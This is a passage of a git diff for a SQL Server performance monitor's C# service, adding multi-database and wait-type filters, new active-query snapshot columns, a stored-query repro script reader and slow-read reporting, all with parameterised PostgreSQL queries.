+    /// the chosen databases, as <see cref="GetQueryStoreRegressionsAsync"/> does (#5245; <see cref="DatabaseFilter.All"/>,
+    /// the default: every database).</summary>
     public static async Task<(bool HasBaseline, bool HasRecent)> GetCoverageAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, DateTime baselineStartUtc,
-        CancellationToken cancellationToken = default)
+        DatabaseFilter databases = default, CancellationToken cancellationToken = default)
     {
         await using var command = postgres.CreateCommand(RegressionCoverageSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddWindow(command, serverId, startUtc, endUtc);
         command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(baselineStartUtc, DateTimeKind.Unspecified) });
+        command.Parameters.Add(databases.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         if (!await reader.ReadAsync(cancellationToken))
             return (false, false);
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingReadLatencyReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingReadLatencyReader.cs
index f1c2645591..4eb3739470 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingReadLatencyReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingReadLatencyReader.cs
@@ -48,7 +48,9 @@ public sealed record ReadLatencyRow(
         long TotalMs,
         long MaxMs,
         long[] BucketCounts,
-        long Timeouts)
+        long Timeouts,
+        long Fallbacks,
+        long GateFailures)
     {
         /// <summary>Zero when nothing ran, matching how <c>get_collector_cost</c> reports its average.</summary>
         public long MeanMs => RunCount > 0 ? TotalMs / RunCount : 0;
@@ -81,7 +83,9 @@ totals AS
         sum(run_count)                                        AS run_count,
         sum(total_ms)                                         AS total_ms,
         max(max_ms)                                           AS max_ms,
-        coalesce(sum(run_count) FILTER (WHERE outcome = 'timeout'), 0) AS timeouts
+        coalesce(sum(run_count) FILTER (WHERE outcome = 'timeout'), 0) AS timeouts,
+        coalesce(sum(run_count) FILTER (WHERE outcome = 'fallback_raw'), 0) AS fallbacks,
+        coalesce(sum(run_count) FILTER (WHERE outcome = 'gate_failed'), 0) AS gate_failures
     FROM windowed
     GROUP BY surface, route
 ),
@@ -98,7 +102,7 @@ bucket_arrays AS
     FROM buckets
     GROUP BY surface, route
 )
-SELECT t.surface, t.route, t.run_count, t.total_ms, t.max_ms, ba.bucket_counts, t.timeouts
+SELECT t.surface, t.route, t.run_count, t.total_ms, t.max_ms, ba.bucket_counts, t.timeouts, t.fallbacks, t.gate_failures
 FROM totals AS t
 JOIN bucket_arrays AS ba ON ba.surface = t.surface AND ba.route = t.route
 ORDER BY t.surface, t.route";
@@ -126,7 +130,9 @@ FROM totals AS t
                 reader.GetInt64(3),
                 reader.GetInt64(4),
                 (long[])reader.GetValue(5),
-                reader.GetInt64(6)));
+                reader.GetInt64(6),
+                reader.GetInt64(7),
+                reader.GetInt64(8)));
         }
 
         return rows;
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingReproScript.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingReproScript.cs
new file mode 100644
index 0000000000..fdb7c46225
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingReproScript.cs
@@ -0,0 +1,139 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.PlanAnalysis;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// The store-only repro script behind get_query_repro_script (#5233): the same pure
+/// <see cref="ReproScriptBuilder.BuildReproScript"/> call the Darling Viewer's "Copy Repro Script" makes
+/// (<c>ViewerServerTab.BuildReproScriptForRow</c>), fed from the stored query text and plan. Nothing here
+/// connects to the monitored server and nothing executes. Like the Viewer, it never passes
+/// <c>isAzureSqlDb</c>, so the script is the SQL Server form.
+/// </summary>
+internal static class DarlingReproScript
+{
+    internal const string ProductName = "SQL Server Performance Monitor";
+
+    internal const string KindQueryHash = "query_hash";
+    internal const string KindQueryStore = "query_store";
+    internal const string KindActiveSnapshot = "active_snapshot";
+
+    /// <summary>The Viewer's Top Queries lookup (<c>ViewerDataService.QueryStats</c>), with the optional database
+    /// guard the plan read by hash uses. $1 server_id, $2 query_hash, $3 database_name (NULL = any).</summary>
+    internal const string QueryStatsTextSql = """
+        SELECT query_text
+        FROM v_query_stats
+        WHERE server_id = $1
+        AND   query_hash = $2
+        AND   ($3::text IS NULL OR database_name = $3)
+        AND   query_text IS NOT NULL
+        ORDER BY collection_time DESC
+        LIMIT 1
+        """;
+
+    /// <summary>The Query Store text, collector table first and the newest inline text on the fact row second
+    /// (the #2150 order the Query Store grid reads). $1 server_id, $2 database_name, $3 query_id.</summary>
+    internal const string QueryStoreTextSql = """
+        SELECT COALESCE(
+                   (
+                       SELECT x.query_sql_text
+                       FROM query_store_text AS x
+                       WHERE x.server_id = $1
+                       AND   x.database_name = $2
+                       AND   x.query_id = $3
+                   ),
+                   (
+                       SELECT s.query_text
+                       FROM query_store_stats AS s
+                       WHERE s.server_id = $1
+                       AND   s.database_name = $2
+                       AND   s.query_id = $3
+                       AND   s.query_text IS NOT NULL
+                       ORDER BY s.collection_time DESC
+                       LIMIT 1
+                   )
+               )
+        """;
+
+    /// <summary>One Active Queries snapshot row: text, isolation level and database, by the row's natural key.
+    /// $1 server_id, $2 collection_time, $3 session_id, $4 request_id.</summary>
+    internal const string SnapshotTextSql = """
+        SELECT query_text, transaction_isolation_level, database_name
+        FROM query_snapshots
+        WHERE server_id = $1
+        AND   collection_time = $2
+        AND   session_id = $3
+        AND   COALESCE(request_id, 0) = $4
+        LIMIT 1
+        """;
+
+    /// <summary>Builds the script for a kind from its stored fields; null when there is no query text. Only an
+    /// Active Queries row carries an isolation level, as in the Viewer.</summary>
+    internal static string? Build(string kind, string? queryText, string? db, string? planXml, string? isolation)
+    {
+        if (string.IsNullOrEmpty(queryText)) return null;
+        return kind switch
+        {
+            KindQueryHash => ReproScriptBuilder.BuildReproScript(
+                queryText, db, planXml, null, "Top Queries (dm_exec_query_stats)", productName: ProductName),
+            KindQueryStore => ReproScriptBuilder.BuildReproScript(
+                queryText, db, planXml, null, "Query Store", productName: ProductName),
+            KindActiveSnapshot => ReproScriptBuilder.BuildReproScript(
+                queryText, db, planXml, isolation, "Active Queries", productName: ProductName),
+            _ => null,
+        };
+    }
+
+    internal static async Task<string?> ReadQueryStatsTextAsync(
+        NpgsqlDataSource postgres, int serverId, string queryHash, string? databaseName, CancellationToken cancellationToken)
+    {
+        await using var command = postgres.CreateCommand(QueryStatsTextSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = queryHash });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)databaseName ?? DBNull.Value });
+        return await command.ExecuteScalarAsync(cancellationToken) as string;
+    }
+
+    internal static async Task<string?> ReadQueryStoreTextAsync(
+        NpgsqlDataSource postgres, int serverId, string databaseName, long queryId, CancellationToken cancellationToken)
+    {
+        await using var command = postgres.CreateCommand(QueryStoreTextSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = databaseName });
+        command.Parameters.Add(new NpgsqlParameter<long> { TypedValue = queryId });
+        return await command.ExecuteScalarAsync(cancellationToken) as string;
+    }
+
+    /// <summary>The snapshot's (query_text, isolation, database), or nulls when no such row is stored.
+    /// <paramref name="collectionTimeUtc"/> is relabelled Unspecified so it binds as <c>timestamp</c> (#1969).</summary>
+    internal static async Task<(string? Text, string? Isolation, string? Database)> ReadSnapshotTextAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime collectionTimeUtc, int sessionId, int requestId, CancellationToken cancellationToken)
+    {
+        await using var command = postgres.CreateCommand(SnapshotTextSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(collectionTimeUtc, DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = sessionId });
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = requestId });
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (!await reader.ReadAsync(cancellationToken)) return (null, null, null);
+        return (
+            reader.IsDBNull(0) ? null : reader.GetString(0),
+            reader.IsDBNull(1) ? null : reader.GetString(1),
+            reader.IsDBNull(2) ? null : reader.GetString(2));
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingRuntimePrecondition.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingRuntimePrecondition.cs
index 1cf05281f1..4ee299b550 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingRuntimePrecondition.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingRuntimePrecondition.cs
@@ -13,6 +13,7 @@
 using Npgsql;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
 
@@ -60,7 +61,7 @@ internal static class DarlingRuntimePrecondition
     /// answers first and a collector that ran recently is found there at once. Ordering by <c>log_id</c> instead would read
     /// the server's whole retained history on every call, because <c>collection_log</c> has no primary key and no index on
     /// <c>log_id</c>. Only the timestamp is returned, so two runs that share one give the same answer whichever comes first;
-    /// that is why this read does not need the id order <see cref="LatestCollectorOutcomeSql"/> uses, where the row's status
+    /// that is why this read does not need the <c>log_id</c> tiebreak that <see cref="LatestCollectorOutcomeSql"/> keeps, where the row's status
     /// is the answer. The server half uses <c>idx_collection_log_time (server_id, collection_time)</c>. The collector half
     /// filters with <c>idx_collection_log_watermark (server_id, collector_name, collection_time DESC)</c>. A collector that
     /// has never run has no row to find, so for it the read still goes through the server's whole retained history.
@@ -89,16 +90,32 @@ LIMIT 1
        ) AS server_first_collected";
 
     /// <summary>
-    /// The most recent run of one collector for one server. Ordered by <c>log_id</c> rather than
-    /// <c>collection_time</c> because the id is monotonic per insert while two runs inside the same cycle can
-    /// share a timestamp — and "the latest run" is the whole claim this makes. $1 server_id, $2 collector.
+    /// The most recent run of one collector for one server. Ordered by <c>collection_time DESC</c> first (#4974):
+    /// <c>idx_collection_log_watermark (server_id, collector_name, collection_time DESC)</c> serves that first key,
+    /// so ChunkAppend walks the chunks newest-first and stops at the first row the walk returns, where a
+    /// <c>log_id</c>-first order (no index on <c>log_id</c>) read every retained row of the pair. The trade: after
+    /// the wall clock steps back, this read can return a run from before the step, for as long as the step lasts.
+    ///
+    /// <para><c>, log_id DESC</c> only makes the order deterministic; two runs of one server and collector do not
+    /// share a microsecond in practice. No index carries <c>log_id</c>, so the tiebreak is a sort. In the plans a
+    /// test store gets, it sits inside each chunk the walk visits: a Sort of the pair's rows in that chunk, or an
+    /// Incremental Sort presorted on <c>collection_time</c> that reads the rows at the newest timestamp plus one
+    /// more to close that group. An Incremental Sort above the walk would instead take that extra row from the
+    /// next older chunk whenever the newest chunk holds a single row for the pair. The newest chunk answers a
+    /// collector that ran recently. A collector with no row in the newest chunk (a daily collector, or one that
+    /// never ran) walks back through older chunks, which are compressed.</para>
+    ///
+    /// <para><see cref="DarlingSelfAlertEvaluator.MissingCaptureSessionsSql"/>, a one-collector read of the same
+    /// table, leaves this tiebreak out: there it would decide nothing, and its <c>(server_id, collection_time)</c>
+    /// index cannot serve a second key, so the sort would cover the server's whole newest chunk (1,158 buffers
+    /// against 5). $1 server_id, $2 collector.</para>
     /// </summary>
     public const string LatestCollectorOutcomeSql = @"
 SELECT status, error_message, collection_time
 FROM collection_log
 WHERE server_id = $1
 AND   collector_name = $2
-ORDER BY log_id DESC
+ORDER BY collection_time DESC, log_id DESC
 LIMIT 1";
 
     /// <summary>
@@ -116,7 +133,7 @@ ORDER BY log_id DESC
 FROM v_query_store_health
 WHERE server_id = $1
 AND   capture_time = (SELECT MAX(capture_time) FROM v_query_store_health WHERE server_id = $1)
-AND   ($2::text IS NULL OR database_name = $2)
+AND   ($2::text[] IS NULL OR database_name = ANY($2))
 ORDER BY database_name";
 
     /// <summary>
@@ -201,11 +218,26 @@ into a read error. */
     /// databases the read covered are not recording runtime statistics, or <c>null</c> when it says nothing
     /// of the kind (no snapshot yet, or at least one database in scope is READ_WRITE).
     /// </summary>
-    public static async Task<string?> QueryStoreStatusAsync(
+    public static Task<string?> QueryStoreStatusAsync(
         NpgsqlDataSource postgres,
         int serverId,
         string serverName,
         string? databaseName,
+        CancellationToken cancellationToken = default) =>
+        QueryStoreStatusAsync(postgres, serverId, serverName, DatabaseFilter.One(databaseName), cancellationToken);
+
+    /// <summary>
+    /// #5245: <see cref="QueryStoreStatusAsync(NpgsqlDataSource,int,string,string,CancellationToken)"/> over a SET of
+    /// databases. The existing rule is kept as it was, not turned into a per-database verdict: the answer is silent
+    /// (<c>null</c>) when at least one database in scope is READ_WRITE (Query Store is collecting somewhere the read could
+    /// have looked, so the emptiness has another cause), and the precondition envelope when every database in scope
+    /// reports not collecting. <see cref="DatabaseFilter.All"/> reads every database's state, as a null name did.
+    /// </summary>
+    public static async Task<string?> QueryStoreStatusAsync(
+        NpgsqlDataSource postgres,
+        int serverId,
+        string serverName,
+        DatabaseFilter databases,
         CancellationToken cancellationToken = default)
     {
         List<CollectorRuntimePrecondition.QueryStoreDatabaseState> states;
@@ -214,7 +246,7 @@ into a read error. */
         try
         {
             (states, observedUtc) =
-                await ReadQueryStoreStatesAsync(postgres, serverId, databaseName, cancellationToken);
+                await ReadQueryStoreStatesAsync(postgres, serverId, databases, cancellationToken);
         }
         catch (Exception)
         {
@@ -276,7 +308,7 @@ gate from a read that told us nothing. */
         ReadQueryStoreStatesAsync(
             NpgsqlDataSource postgres,
             int serverId,
-            string? databaseName,
+            DatabaseFilter databases,
             CancellationToken cancellationToken)
     {
         var states = new List<CollectorRuntimePrecondition.QueryStoreDatabaseState>();
@@ -285,7 +317,7 @@ gate from a read that told us nothing. */
         await using var command = postgres.CreateCommand(LatestQueryStoreStatesSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddInt(command, serverId);
-        DarlingMcpReadParameters.AddNullableText(command, string.IsNullOrWhiteSpace(databaseName) ? null : databaseName);
+        command.Parameters.Add(databases.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
 
         while (await reader.ReadAsync(cancellationToken))
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingServerResolver.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingServerResolver.cs
index 89529a92f9..4f5e54b3ed 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingServerResolver.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingServerResolver.cs
@@ -13,6 +13,7 @@
 using System.Threading.Tasks;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Hosting;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
 
@@ -97,7 +98,15 @@ WHERE is_enabled
             return (default, fault);
         }
 
-        return ResolveOrError(servers, serverName);
+        var answer = ResolveOrError(servers, serverName);
+        if (answer.error is null)
+        {
+            /* #5097: the slow-read record names the server a read resolved; one site covers every server-scoped tool. */
+            ReadScope.NoteServer(answer.resolved.ServerId);
+            DarlingWebFailureLog.NoteResolvedServer(answer.resolved.ServerName);
+        }
+
+        return answer;
     }
 
     /// <summary>
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSessionReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSessionReader.cs
index 0c78698f14..8b3a972cbd 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSessionReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSessionReader.cs
@@ -11,6 +11,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
 
@@ -60,6 +61,26 @@ public sealed record ActiveQueryRow(
         /// <summary>For a victim: its blocker also passes the caller's filters, so it is in the population the
         /// page is drawn from (it may still be past the page — the tool checks that).</summary>
         public bool BlockerInPopulation { get; init; }
+
+        /// <summary>The lock or page the request waits on (the stored wait_resource); null when none.</summary>
+        public string? WaitResource { get; init; }
+
+        /// <summary>Progress of a long-running command (the stored percent_complete); null when the engine reports none.</summary>
+        public double? PercentComplete { get; init; }
+
+        /// <summary>The request's query hash as captured; null when absent.</summary>
+        public string? QueryHash { get; init; }
+
+        /// <summary>The request id as captured (#5228); null when the snapshot stored none. The plan read keys
+        /// on it, a NULL matching <c>request_id = 0</c>, so a caller omitting it still finds the row.</summary>
+        public int? RequestId { get; init; }
+
+        /// <summary>The snapshot carries an estimated plan (#5228) — a presence flag, never the XML, which
+        /// <c>get_active_query_plan_xml</c> reads on demand.</summary>
+        public bool HasQueryPlan { get; init; }
+
+        /// <summary>The snapshot carries a live/actual plan (#5228); see <see cref="HasQueryPlan"/>.</summary>
+        public bool HasLiveQueryPlan { get; init; }
     }
 
     /// <summary>One waiting-task snapshot row.</summary>
@@ -124,7 +145,13 @@ public static async Task<List<SessionStatRow>> GetLatestSessionStatsAsync(
     /// The captured query snapshots over the window — the viewer's <c>LatestQuerySnapshotsSql</c> projected
     /// to the columns Lite's get_active_queries surfaces, from the base <c>query_snapshots</c> table (the
     /// viewer reads base here too). granted_query_memory_gb is <c>numeric(18,2)</c> → double precision.
-    /// $1 server_id, $2/$3 window (naive UTC), $4 row cap, $5 database filter (NULL = all), $6 blocking_only.
+    /// $1 server_id, $2/$3 window (naive UTC), $4 row cap, $5 database filter (<c>text[]</c>, NULL = all; #5245), $6 blocking_only,
+    /// $7 wait_type filter (NULL = all; #5235).
+    ///
+    /// <para><b>The database predicate is the list form (#5245).</b> <see cref="DatabaseFilter.Clause"/> on <c>w.database_name</c>
+    /// at $5, so one name and several names are the same statement text; <see cref="DatabaseFilter.Parameter"/> binds the set.
+    /// This read has ONE tier (the base <c>query_snapshots</c> table), so the clause is in the one place the filter belongs: the
+    /// population, which also feeds <c>blocker_in_population</c>, so a head blocker outside the set stays off the page.</para>
     ///
     /// <para><b>Every filter is part of the query (#3541 A13).</b> This read used to return the whole window
     /// unfiltered and unbounded; the tool then applied <c>database_name</c> and <c>blocking_only</c> in C#,
@@ -150,8 +177,16 @@ public static async Task<List<SessionStatRow>> GetLatestSessionStatsAsync(
     /// not) — the caller asked for that database, so the row is honoured and the victim says its blocker was
     /// filtered. A blocker that passes both but falls past the page is detected by the tool, which has the
     /// page.</para>
+    ///
+    /// <para><b>The wait_type filter (#5235)</b> is a population predicate beside <c>database_name</c>, so
+    /// <c>population_count</c> and <c>LIMIT</c> see it and it ANDs with the other filters. It matches the request's
+    /// OWN wait at the capture (<c>query_snapshots.wait_type</c>; a NULL wait never matches), by exact name with
+    /// the case ignored: one equality, so a <c>%</c> or <c>_</c> in the input is literal. Case is ignored because a
+    /// case miss would read as a true <c>empty</c>. The stored value may carry the trailing space an older
+    /// collector wrote, so the match takes the name with and without one. A head blocker on another
+    /// wait leaves the page, and its victims say <c>blocker_not_shown = filtered</c> (the database filter's rule).</para>
     /// </summary>
-    public const string ActiveQueriesSql = """
+    public static readonly string ActiveQueriesSql = $$"""
         WITH window_rows AS (
             SELECT
                 collection_time,
@@ -175,7 +210,13 @@ WITH window_rows AS (
                 login_name,
                 host_name,
                 program_name,
-                query_text
+                query_text,
+                wait_resource,
+                CAST(percent_complete AS double precision) AS percent_complete,
+                query_hash,
+                request_id,
+                (query_plan IS NOT NULL) AS has_query_plan,
+                (live_query_plan IS NOT NULL) AS has_live_query_plan
             FROM query_snapshots
             WHERE server_id = $1
             AND   collection_time >= $2
@@ -202,8 +243,9 @@ LEFT JOIN heads AS h
               ON  h.collection_time = w.collection_time
               AND h.session_id = w.session_id
             WHERE (w.query_text NOT LIKE 'WAITFOR%' OR h.session_id IS NOT NULL)
-            AND   ($5::text IS NULL OR w.database_name = $5)
+            {{DatabaseFilter.All.Clause("w.database_name", 5)}}
             AND   (NOT $6::boolean OR w.blocking_session_id > 0 OR h.session_id IS NOT NULL)
+            AND   ($7::text IS NULL OR upper(w.wait_type) IN (upper($7), upper($7) || ' '))
         )
         SELECT
             p.collection_time,
@@ -236,7 +278,13 @@ FROM population q
                 WHERE q.collection_time = p.collection_time
                 AND   q.session_id = p.blocking_session_id
             ) AS blocker_in_population,
-            COUNT(*) OVER () AS population_count
+            COUNT(*) OVER () AS population_count,
+            p.wait_resource,
+            p.percent_complete,
+            p.query_hash,
+            p.request_id,
+            p.has_query_plan,
+            p.has_live_query_plan
         FROM population AS p
         ORDER BY p.collection_time DESC, p.cpu_time_ms DESC
         LIMIT $4
@@ -249,11 +297,21 @@ public sealed record ActiveQueriesPage(List<ActiveQueryRow> Rows, long Populatio
     /// The newest <paramref name="cap"/> snapshots over the window that pass the filters, with the filtered
     /// population's count (#3541 A13). Callers detecting truncation pass <c>limit + 1</c> and read the extra
     /// row as the signal. <paramref name="databaseName"/> null = every database; <paramref name="blockingOnly"/>
-    /// keeps victims and the head blockers of victims in the same capture.
+    /// keeps victims and the head blockers of victims in the same capture; <paramref name="waitType"/> null = every
+    /// wait (#5235), else only the rows waiting on that wait type at the capture, any case. One database name, as <see cref="DatabaseFilter.One"/>.
     /// </summary>
-    public static async Task<ActiveQueriesPage> GetActiveQueriesAsync(
+    public static Task<ActiveQueriesPage> GetActiveQueriesAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int cap,
-        string? databaseName = null, bool blockingOnly = false, CancellationToken cancellationToken = default)
+        string? databaseName = null, bool blockingOnly = false, string? waitType = null, CancellationToken cancellationToken = default) =>
+        GetActiveQueriesAsync(postgres, serverId, startUtc, endUtc, cap, DatabaseFilter.One(databaseName), blockingOnly, waitType, cancellationToken);
+
+    /// <summary>
+    /// The same read over a SET of databases (#5245): <paramref name="databases"/> empty (<see cref="DatabaseFilter.All"/>) is
+    /// every database, otherwise only the rows of the named databases are the population.
+    /// </summary>
+    internal static async Task<ActiveQueriesPage> GetActiveQueriesAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int cap,
+        DatabaseFilter databases, bool blockingOnly = false, string? waitType = null, CancellationToken cancellationToken = default)
     {
         var rows = new List<ActiveQueryRow>();
         long populationCount = 0;
@@ -261,8 +319,9 @@ public static async Task<ActiveQueriesPage> GetActiveQueriesAsync(
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddWindow(command, serverId, startUtc, endUtc);
         DarlingMcpReadParameters.AddInt(command, cap);
-        DarlingMcpReadParameters.AddNullableText(command, databaseName);
+        command.Parameters.Add(databases.Parameter());
         DarlingMcpReadParameters.AddBoolean(command, blockingOnly);
+        DarlingMcpReadParameters.AddNullableText(command, waitType);
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -293,6 +352,12 @@ public static async Task<ActiveQueriesPage> GetActiveQueriesAsync(
                 IsHeadBlocker = !reader.IsDBNull(22) && reader.GetBoolean(22),
                 BlockerInCapture = !reader.IsDBNull(23) && reader.GetBoolean(23),
                 BlockerInPopulation = !reader.IsDBNull(24) && reader.GetBoolean(24),
+                WaitResource = reader.IsDBNull(26) ? null : reader.GetString(26),
+                PercentComplete = reader.IsDBNull(27) ? null : reader.GetDouble(27),
+                QueryHash = reader.IsDBNull(28) ? null : reader.GetString(28),
+                RequestId = reader.IsDBNull(29) ? null : reader.GetInt32(29),
+                HasQueryPlan = !reader.IsDBNull(30) && reader.GetBoolean(30),
+                HasLiveQueryPlan = !reader.IsDBNull(31) && reader.GetBoolean(31),
             });
             populationCount = reader.GetInt64(25);
         }
@@ -305,13 +370,15 @@ public static async Task<ActiveQueriesPage> GetActiveQueriesAsync(
     /// <summary>
     /// The recently-captured waiting tasks over the window — the base <c>waiting_tasks</c> table (there is no
     /// <c>v_waiting_tasks</c> view), newest first then longest wait. resource_description is stored but always
-    /// NULL (the collector no longer collects it). $1 server_id, $2/$3 window (naive UTC), $4 row cap.
+    /// NULL (the collector no longer collects it). $1 server_id, $2/$3 window (naive UTC), $4 row cap, $5 the databases as one
+    /// <c>text[]</c> (#5244, <see cref="DatabaseFilter.Clause"/>): SQL NULL is every database, otherwise only the named databases'
+    /// rows. The predicate sits in the WHERE, ahead of the cap, so the page is the newest N of the chosen databases.
     ///
     /// <para>The cap is a PARAMETER, not a literal (#3541 A3). It was <c>LIMIT 500</c> under a tool that
     /// advertised <c>limit</c>, applied it with <c>Take(limit)</c>, and then published a bare envelope with no
     /// window, no count and no bound — so a caller could not tell thirty tasks from thirty of five thousand.</para>
     /// </summary>
-    public const string WaitingTasksSql = """
+    public static readonly string WaitingTasksSql = $$"""
         SELECT
             collection_time,
             session_id,
@@ -325,20 +392,31 @@ FROM waiting_tasks
         AND   collection_time >= $2
         AND   collection_time <= $3
         AND   wait_type IS NOT NULL
+        {{DatabaseFilter.All.Clause("database_name", 5)}}
         ORDER BY collection_time DESC, wait_duration_ms DESC
         LIMIT $4
         """;
 
     /// <summary>The newest <paramref name="cap"/> waiting tasks over the window. Callers detecting truncation
     /// pass <c>limit + 1</c> and read the extra row as the signal.</summary>
-    public static async Task<List<WaitingTaskRow>> GetWaitingTasksAsync(
-        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int cap, CancellationToken cancellationToken = default)
+    public static Task<List<WaitingTaskRow>> GetWaitingTasksAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int cap, CancellationToken cancellationToken = default) =>
+        GetWaitingTasksAsync(postgres, serverId, startUtc, endUtc, cap, DatabaseFilter.All, cancellationToken);
+
+    /// <summary>
+    /// The same read over a SET of databases (#5244): <paramref name="databases"/> empty (<see cref="DatabaseFilter.All"/>) is every
+    /// database, otherwise only the named databases' waiting tasks are the population, and the cap applies to them.
+    /// </summary>
+    internal static async Task<List<WaitingTaskRow>> GetWaitingTasksAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int cap, DatabaseFilter databases,
+        CancellationToken cancellationToken = default)
     {
         var rows = new List<WaitingTaskRow>();
         await using var command = postgres.CreateCommand(WaitingTasksSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddWindow(command, serverId, startUtc, endUtc);
         DarlingMcpReadParameters.AddInt(command, cap);
+        command.Parameters.Add(databases.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSlowReadReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSlowReadReader.cs
new file mode 100644
index 0000000000..28f716a0a8
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSlowReadReader.cs
@@ -0,0 +1,160 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// The store read behind <c>get_slow_reads</c> (#5097): the newest recorded slow reads in a window and a count per
+/// (surface, route, outcome). Both ride <c>idx_slow_reads_time</c> and carry the same filters.
+/// </summary>
+internal static class DarlingSlowReadReader
+{
+    internal sealed record SlowReadRow(
+        long SlowReadId,
+        DateTime ReadTime,
+        string Surface,
+        string Route,
+        string Outcome,
+        int TotalMs,
+        int? ServerId,
+        string? ServerName,
+        DateTime? WindowStart,
+        DateTime? WindowEnd,
+        JsonNode? Arguments,
+        bool ArgumentsTruncated,
+        string? Source,
+        string? SourceReason,
+        JsonArray Statements,
+        int StatementCount,
+        bool StatementsTruncated,
+        string? ErrorClass,
+        long? RowCount = null);
+
+    internal sealed record SummaryRow(string Surface, string Route, string Outcome, long Count);
+
+    internal sealed record Page(IReadOnlyList<SlowReadRow> Reads, IReadOnlyList<SummaryRow> Summary);
+
+    private static string Where(int? serverId, string? surface, string? route)
+    {
+        var sql = "read_time >= $1";
+        var next = 2;
+        if (serverId is not null)
+        {
+            sql += $" AND r.server_id = ${next++}";
+        }
+
+        if (surface is not null)
+        {
+            sql += $" AND r.surface = ${next++}";
+        }
+
+        if (route is not null)
+        {
+            sql += $" AND r.route = ${next}";
+        }
+
+        return sql;
+    }
+
+    internal static async Task<Page> GetAsync(
+        NpgsqlDataSource postgres, DateTime sinceUtc, int? serverId, string? surface, string? route, int limit,
+        CancellationToken cancellationToken = default)
+    {
+        var normalizedSurface = string.IsNullOrWhiteSpace(surface) ? null : surface.Trim().ToLowerInvariant();
